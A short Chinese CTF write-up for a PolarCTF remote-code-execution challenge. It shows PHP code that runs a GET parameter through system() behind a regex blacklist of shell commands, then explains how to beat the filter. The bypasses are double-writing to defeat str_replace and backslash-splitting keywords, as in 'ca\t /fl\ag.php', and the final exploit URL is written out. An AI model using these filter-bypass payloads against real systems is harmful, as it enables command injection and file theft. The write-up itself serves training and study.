【PolarCTF】狗黑子的RCE

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

这里需要绕过2个地方

1、gouheizi1不能出现正则匹配中的命令

2、gouheizi2会被str_place将gouheizi替换为空,但是在第二个if中又需要这个gouheizi字符串太能执行system

gouheizi1我们可以使用env来直接读取flag

由于str_place只会匹配一次,那么我可以通过双写让gouheizi2等于gouheizi

str_place通过双写绕过

但是使用env获取的flag是错误的

\拼接命令绕过

这题的正则过来和 【PolarCTF】rapyiquan 一样可以直接参考

复制代码
http://c2d223b9-2c5e-47f8-a521-dcdce170beb8.www.polarctf.com:8090/?gouheizi1=ca\t%20/fl\ag.php

gouheizi2=gouhegouheiziizi
相关推荐
零零信安7 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手7 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub7 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux7 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc7 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing7 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei117 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x57 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工7 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot
X7x57 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型